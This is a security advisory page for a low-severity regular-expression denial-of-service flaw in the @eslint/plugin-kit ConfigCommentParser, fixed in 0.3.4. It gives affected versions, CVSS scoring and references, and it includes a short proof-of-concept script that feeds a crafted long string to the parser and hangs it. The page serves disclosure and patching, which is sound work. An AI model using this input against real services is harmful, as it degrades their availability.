---
title: "GHSA-xffm-g5w8-qvg7: @eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser"
description: "Low severity. @eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser. Affects @eslint/plugin-kit; fixed in 0.3.4."
url: https://inlinr.com/advisories/GHSA-xffm-g5w8-qvg7
lang: en
---

[Packages](https://inlinr.com/packages) / [@eslint/plugin-kit](https://inlinr.com/packages/@eslint/plugin-kit) / [Security](https://inlinr.com/packages/@eslint/plugin-kit/security)

Low Vulnerability GHSA-xffm-g5w8-qvg7 Published 18 Jul 2025

# @eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser

Your version 

Affected releases · [@eslint/plugin-kit](https://inlinr.com/packages/@eslint/plugin-kit)

- 0.3.x 0.3.1 – 0.3.3 Fixed in 0.3.4
- 0.2.x and older 0.1.0 – 0.2.8 No fix, no longer updated

On 0.3.x, the newest line:

```
npm install @eslint/plugin-kit@0.3.4
```

Every release on a timeline

1. Affected

0.1.0 – 0.3.3  
13 releases
2. Fixed

0.3.4 – 0.7.3  
12 releases, latest

25 stable releases of @eslint/plugin-kit, oldest to newest.

## What happens

Summary

The `ConfigCommentParser#parseJSONLikeConfig` API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.

Details

The regular expression at [packages/plugin-kit/src/config-comment-parser.js:158](https://github.com/eslint/rewrite/blob/bd4bf23c59f0e4886df671cdebd5abaeb1e0d916/packages/plugin-kit/src/config-comment-parser.js#L158 "https://github.com/eslint/rewrite/blob/bd4bf23c59f0e4886df671cdebd5abaeb1e0d916/packages/plugin-kit/src/config-comment-parser.js#L158") is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with `[^-a-zA-Z0-9/]`.

PoC

```
const { ConfigCommentParser } = require("@eslint/plugin-kit");

const str = `${"A".repeat(1000000)}?: 1 B: 2`;

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")

// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
```

Impact

This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.

## How it is exploited

Exploitable over the network, with a low-privilege account and no action from a user.

- **Confidentiality**: none
- **Integrity**: none
- **Availability**: low

CVSS:4.0/​AV:N/​AC:L/​AT:P/​PR:L/​UI:N/​VC:N/​VI:N/​VA:L/​SC:N/​SI:N/​SA:N

## References

- [Reference](https://github.com/eslint/rewrite/security/advisories/GHSA-xffm-g5w8-qvg7 "https://github.com/eslint/rewrite/security/advisories/GHSA-xffm-g5w8-qvg7")  
github.com/eslint/rewrite/security/advisories/G…
- [Fix commit](https://github.com/eslint/rewrite/commit/b283f64099ad6c6b5043387c091691d21b387805 "https://github.com/eslint/rewrite/commit/b283f64099ad6c6b5043387c091691d21b387805")  
b283f64
- [Package](https://github.com/eslint/rewrite "https://github.com/eslint/rewrite")  
github.com/eslint/rewrite